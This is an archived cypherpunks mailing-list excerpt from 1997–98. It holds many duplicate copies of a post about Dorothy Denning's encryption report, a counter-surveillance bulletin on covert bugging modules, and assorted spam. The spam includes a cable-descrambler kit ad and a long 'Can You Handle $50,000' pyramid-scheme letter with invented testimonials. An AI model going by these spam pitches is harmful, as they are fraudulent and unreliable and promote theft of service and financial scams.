iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:11:42 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010402.WAA14720@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:20:44 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010413.WAA15145@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:27:51 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010418.WAA15430@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:33:54 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010423.WAA15695@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:38:01 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010429.WAA15891@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:40:43 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010434.WAA16088@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:47:38 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010439.WAA16249@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:53:42 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010444.WAA16494@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:57:38 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010450.WAA16699@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 13:39:46 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010528.XAA17968@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matt Elliott <melliott@ncsa.uiuc.edu>
Date: Wed, 8 Jul 1998 22:56:40 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Tracking: iButton (fwd)
In-Reply-To: <3.0.5.32.19980708002919.00950100@popd.ix.netcom.com>
Message-ID: <v04011701afe8049a96d2@[141.142.103.240]>
MIME-Version: 1.0
Content-Type: text/plain



>What's to prevent someone from doing that?

time...


Matt <mailto:melliott@itmail.ncsa.uiuc.edu>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: email@exoticwhispers.com
Date: Tue, 1 Jul 1997 09:09:51 -0700 (PDT)
To: email@exoticwhispers.com
Subject: Legal Adult Content
Message-ID: <199707011126.HAA27257@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message is intended for Adult Webmasters Only.

If you feel you have received this message in error, please click "reply" then type REMOVE
in the subject line.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

Hello Webmasters,

Looking for LEGAL STRAIGHT & GAY PICS & VIDEOS ?  Porn Emporium has what
you are looking for.  We offer only the highest quality pics and videos
of some of the worlds hottest stars. All content comes with the
necessary model releases, all 100% LEGAL!  

Both exclusive and non-exclusive contracts are available with our pics &
videos, each at a very affordable price. If you are looking for
something special, send us an email and I'm sure we can find what you
are looking for.

All of our pics come with a 100% Satisfaction Guarantee and a lifetime
license. You can see a sample of our pics at http://www.pornemporium.com
.. 

Can you afford NOT to be legal.

           **** Special Offer ****
 UAS Members receive a 10% discount !!!

Thank You,

Scott Prendergast
scottp@tiba.net
214-827-2958






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James M. Atkinson, Comm-Eng" <jmatk@tscm.com>
Date: Wed, 2 Jul 1997 16:46:12 -0700 (PDT)
To: jmatk@tscm.com
Subject: TSCM Intelligence Update - Spread Spectrum Surveillance Modules
Message-ID: <v03102800afdf9366740e@[205.161.57.127]>
MIME-Version: 1.0
Content-Type: text/enriched

===========================================
TSCM-L Technical Security Mailing List

Postings:           TSCM-L@tscm.com
Unsubscribe:   unsubTSCM-L@tscm.com
Subscribe:       subTSCM-L@tscm.com
Admin:		      jmatk@tscm.com
===========================================


I will be taking off early this week so I can get 
a good start on the holiday this weekend. Happy 4th of July!!

===============

New Spread Spectrum Surveillance Modules

There are some new spread spectrum products coming into the US by way of China, and are starting to show up in Spy Shops on the West coast, Chicago, and Miami area. 

Two sided, four layer, surface mount PCB, several RF and audio IC's, several pots, coils, etc. Device is a raw module, designed for covert installations in an office or SOHO environment.

SM connector for antenna, micro molex connector for power and computer/serial interface.

PCB is 1.5 mm wide, 3.25 mm long, and .5mm thick.

Products are all based on a cordless telephone chip set, 780 Mhz to 980 Mhz, Direct Sequence Spread Spectrum (BPSK/QPSK?). 

Analysis of RF section indicates good response from 610 Mhz to 1090 Mhz.

Serial data rates between 56 kb/s and 784 kb/s (12 full audio channels capable).

Devices have a two way RS422 serial port to facilitate setup prior to field usage.

Programmed RF power levels range is spec'd between 50mw and 250mw, suspect the circuits will operate as low as 5mw. Evaluation of the RF amp indicates that RF section should support a full watt of power with no problem.

Recommended voltage is 3/6vdc, but circuit should work fine on 9 or 12vdc.

Connections for two or three wire transducers. Audio path is thru pre-amp, compander, CODEC, and controller. Looks like it can support two elements, each with its own tunable preselector.

Large amount of 60 hz filtering, suspect they were originally designed for 
installation into power strips (APC, Best, Woods, etc).

Look for the low level multihump signature on the spectrum analyser, and 
take a REAL hard look at all surge protectors. 

Be sure to "box" all electrical artifacts encountered on a TSCM sweep.

Well engineered, suspect cost to manuf. is under $35, should be popular, most of the spy shops are selling these for $1500 to $3000.

More details to follow after the holiday, should have an update by that time regarding the VLF devices being built by Thompson, and E-Systems.


- jma







========================================================================
"For those who risk, life has a flavor the protected shall never enjoy."
========================================================================
James M. Atkinson                                 Phone: (508) 546-3803
Granite Island Group - TSCM.COM
127 Eastern Avenue #291                           http://www.tscm.com/
Gloucester, MA 01931-8008                         jmatk@tscm.com
========================================================================
The First, The Largest, The Most Popular, and The Most  
Complete TSCM Counterintelligence Site on the Internet
========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 78173518@arosnet.se
Date: Thu, 3 Jul 1997 05:12:37 -0700 (PDT)
To: Friend@public.com
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


CABLE DESCRAMBLER   -Build with 7 Radio Shack parts costing $13.00

-----------View all PREMIUM and PAY- PER VIEW channels.--------------

Our Cable Descrambler package is an information kit containing easy to
follow, step-by-step instructions on how to build a cable descrambler
from a few inexpensive parts available at Radio Shack or your local
electronics store.

Your descrambler will allow you to view ALL the Premium  and 
Pay-Per-View channels as long as you subscribe to BASIC cable service.

The assembly is very simple and does not require any kind of 
electronic training or experience.  Just follow the clear 
instructions and simple diagram and you will be enjoying your extra
channels in less than an hour.

IT'S THAT EASY!

Don't wait.  Order now and you too can begin enjoying all that cable
television has to offer.

So save yourself some money! ....Order your cable descrambler package
today for a one time fee of only $13.95

We will send your package right away...

************************************************************

ORDER FORM: bk106/108
(circle one)

Money Order   Check   Credit Card (Circle One: VISA, M/C, Discover) 

Credit card # ________________________________________

Expiration Date____________________

Signature_________________________________________

Guaranteed Fee $13.95.  I need you to RUSH processing. Please add
$5.00:      Total  $_______

TO EXPEDITE PROCESSING: Fill out all information, print, and
FAX TO (619) 683-9130  (If paying by credit card)


If paying by cash, check, or money order....
Please make payable to:  C.B. SYSTEMS....
Fill out the following information;

& MAIL TO:

C.B. SYSTEMS
8030 LA MESA BLVD # 117
LA MESA, CA 91941

Name_____________________________

Address___________________ City ___________ State _____Zip __________

Phone #(___)____  -________   *Email_________________________________

*For RUSH DELIVERY ONLY; Please leave e-mail address if you would like to recieve 
 this package via e-mail.

************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: how@amug.org
Date: Thu, 3 Jul 1997 05:13:12 -0700 (PDT)
To: howto@indirect.com
Subject: URGENT:  I think I owe you some money!!!
Message-ID: <24612350_90050937>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Barrons Online <barrons@WSJ.DOWJONES.COM>
Date: Thu, 3 Jul 1997 14:31:18 -0700 (PDT)
To: BARRONS-ANNOUNCE@LISTSERV.DOWJONES.COM
Subject: Important Announcement for Barron's Online Subscribers
Message-ID: <v03102804afe1b7994688@[143.131.147.65]>
MIME-Version: 1.0
Content-Type: text/plain


Dear Barron's Online subscriber:

I'd like to make you aware of some important changes coming to Barron's
Online in the next few weeks.

Barron's Online is forming an alliance with The Wall Street Journal
Interactive Edition, its sister Web publication from Dow Jones & Co.
Barron's Online, the Interactive Journal and the soon-to-be-unveiled
SmartMoney Interactive are pooling their efforts to provide investors with
the Web's  most comprehensive collection of business and markets news,
commentary, financial information and personal finance tools -- all at a
single subscription price.

Beginning July 25, access to Barron's Online will be by paid subscription
only. The price is $49 per year. But print subscribers to Barron's will be
eligible for an introductory rate of only $29 per year.

What does this mean for you?

Barron's Online will still offer the key features you've enjoyed in the
past, including our exclusive Weekday Extra columns. One noteworthy change:
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Briefing Books, which we expect you'll find equally useful.

You get a chance to experience the combined offering on July 25. You can
wait until then to register, if you wish. After July 25, the first time you
come to Barron's Online you'll be asked to re-register and provide us with a
credit card. Your card won't be charged until two weeks later, so you'll
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But here's an opportunity to extend that free trial. Register for the
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For more information, and to receive the eight-week free offer, see

<http://www.barrons.com/wsj_frame.html>.

We're sure you'll agree that the combined power of these Web sites will be
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Best regards,

Howard Gold                     Neil Budde
Editor                               Editor
Barron's Online                 The Wall Street Journal Interactive Edition


http://www.barrons.com/wsj_frame.html

========================================================================

If you do not wish to continue receiving these email alerts,
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webpromo@compuserve.com
Date: Thu, 3 Jul 1997 13:41:31 -0700 (PDT)
To: webpromo@earthlink.net</A>
Subject: Adults ONLY!!!
Message-ID: <webpromo@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anne <popopotyrui@aol.com>
Date: Wed, 2 Jul 1997 18:33:53 -0700 (PDT)
To: @@compuserve.com
Subject: Can You Handle $50,000
Message-ID: <199707030130.VAA24450@arl-gw-6.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



<HTML><PRE></P><P ALIGN=CENTER><FONT  COLOR="#000000" SIZE=3><B>CAN YOU HANDLE $50,000?</B>


</P><P ALIGN=LEFT>First, please accept my apology if this was sent to you in error!


You could possibly make at least $50,000 - In less than 90 days! Read the enclosed program ....<B>THEN READ AGAIN</B>....


The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave it serious thought and study to it. So glad I did! Here's my story!


My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER .... FINANCIALLY!!!!!!!


In mid-December, I received this program via email. Six months prior to receiving this I had been sending away for information on various business opportunities. All the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year ..... it didn't tell me I'd have to write a book to make it.


But like I was saying, in December of '92 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a pencil and paper and figured it out, I would at least get my money back. After determning that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".


Initially I sent out 10,000 emails. It cost me about $15.00 for my time on-line. The great thing about email is that I didn't need any money for printing to send out the program, only the cost to fulfill my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me!


In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!". My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS, IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY. RELAX, YOU WILL MAKE YOUR $50,000 GOAL".
Well, I had 196 orders for REPORT #2, 96 MORE THAN I NEEDED. So, I sat back and relaxed. By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.


I paid off ALL my debts and bought a much needed new car. PLEASE take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it won't work if you DON'T try it! This program DOES WORK, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. THAT DOESN'T WORK, you'll lose out on a lot of money! REPORT #2 explains this. Always follow the guarantee, 15 to 20 orders for REPORT #1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!!!!


If you choose not to participate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security.


If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID!



                                                                                   Sincerely,
                                                                                   Christopher Erickson


P.S. Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME!


"THREW IT AWAY"


I had received this program before. I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try".


                                                                                    Dawn W., Evansville, IN
             
"NO FREE LUNCH"


"My late father always told me, remember, Alan, there is no free lunch. You get out of life what you put into it". Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group to email it to. So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me.


                                                                                    Alan B., Philadelphia, PA


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM


By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur.


Let me tell you a little about by myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate .... because many of you know from first hand experience. There were more failures and bankruptcies than ever before.


The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER". The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.


You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT". You can make more money in the next few months than you have ever imagine.


